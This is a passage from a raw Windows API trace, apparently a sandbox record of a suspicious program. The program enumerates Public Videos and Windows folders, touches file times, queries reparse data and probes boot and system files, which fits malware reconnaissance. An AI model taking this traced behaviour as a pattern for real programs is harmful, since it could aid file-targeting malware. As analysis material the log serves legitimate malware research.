dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.213] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9d18 [0093.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe8a8 [0093.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.216] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="")) returned 1 [0093.216] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="")) returned 0 [0093.216] GetLastError () returned 0x12 [0093.216] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Videos\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0093.216] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0093.216] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.216] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.216] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="")) returned 1 [0093.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.216] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos" (normalized: "c:\\users\\public\\videos\\sample videos"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.217] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos" (normalized: "c:\\users\\public\\videos\\sample videos"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0093.217] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0093.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0093.217] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0093.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0093.217] NtClose (Handle=0x164) returned 0x0 [0093.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fedf8 [0093.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe820 [0093.219] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0093.219] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.219] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fef08 [0093.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fef08) returned 1 [0093.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fef08 [0093.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fef08) returned 1 [0093.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fef08 [0093.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9d38 [0093.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fef90 [0093.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fef08) returned 1 [0093.221] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 1 [0093.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fef08 [0093.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fef08) returned 1 [0093.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fef08 [0093.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fef08) returned 1 [0093.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fef08 [0093.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9d58 [0093.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ff018 [0093.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fef08) returned 1 [0093.223] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 0 [0093.223] GetLastError () returned 0x12 [0093.223] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0093.223] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0093.223] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.223] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.223] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 1 [0093.223] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 0 [0093.223] GetLastError () returned 0x12 [0093.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe820) returned 1 [0093.224] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0093.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fedf8) returned 1 [0093.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.224] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="")) returned 0 [0093.224] GetLastError () returned 0x12 [0093.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fdfa0) returned 1 [0093.225] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0093.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fdf18) returned 1 [0093.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.225] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0093.225] GetLastError () returned 0x12 [0093.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0093.226] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0093.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0093.226] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0093.226] GetLastError () returned 0x12 [0093.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0093.227] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0093.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0093.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0093.228] FindNextFileW (in: hFindFile=0x2e8fc0, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Windows", cAlternateFileName="")) returned 1 [0093.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0093.228] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x119f930 | out: lpFileInformation=0x119f930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0093.228] CreateFileW (lpFileName="C:\\Windows" (normalized: "c:\\windows"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0093.228] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f974, lpLastWriteTime=0x119f974) returned 0 [0093.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0093.228] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f9cc, lpOverlapped=0x0) returned 0 [0093.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0093.229] NtClose (Handle=0x180) returned 0x0 [0093.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0093.229] FindNextFileW (in: hFindFile=0x2e8fc0, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Windows", cAlternateFileName="")) returned 0 [0093.230] GetLastError () returned 0x12 [0093.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fa50) returned 1 [0093.230] FindClose (in: hFindFile=0x2e8fc0 | out: hFindFile=0x2e8fc0) returned 1 [0093.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0093.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0093.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0093.234] GetFileAttributesExW (in: lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a)) returned 1 [0093.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0093.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fa50 [0093.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0093.236] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fa50) returned 1 [0093.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x184) returned 0x1302380 [0093.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8998 [0093.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8248 [0093.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8950 [0093.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8908 [0093.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d88c0 [0093.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8878 [0093.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8830 [0093.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8368 [0093.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8320 [0093.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d87a0 [0093.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8758 [0093.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8710 [0093.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d86c8 [0093.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8680 [0093.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8638 [0093.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d85f0 [0093.241] GetDiskFreeSpaceExW (in: lpDirectoryName="C:", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0093.242] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0093.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0093.243] GetFileAttributesExW (in: lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a)) returned 1 [0093.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0093.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0093.244] GetFileAttributesExW (in: lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0093.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0093.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0093.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fa50 [0093.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0093.246] GetDiskFreeSpaceExW (in: lpDirectoryName="C:", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0093.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fa50) returned 1 [0093.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0093.247] GetFileAttributesExW (in: lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0093.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0093.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0093.248] GetFileAttributesExW (in: lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x119fb60, ftLastAccessTime.dwLowDateTime=0x409299, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x119fb60, ftLastWriteTime.dwHighDateTime=0x40e39d, nFileSizeHigh=0x0, nFileSizeLow=0x18fe40)) returned 0 [0093.248] GetLastError () returned 0x20 [0093.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0093.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0093.248] GetFileAttributesExW (in: lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | 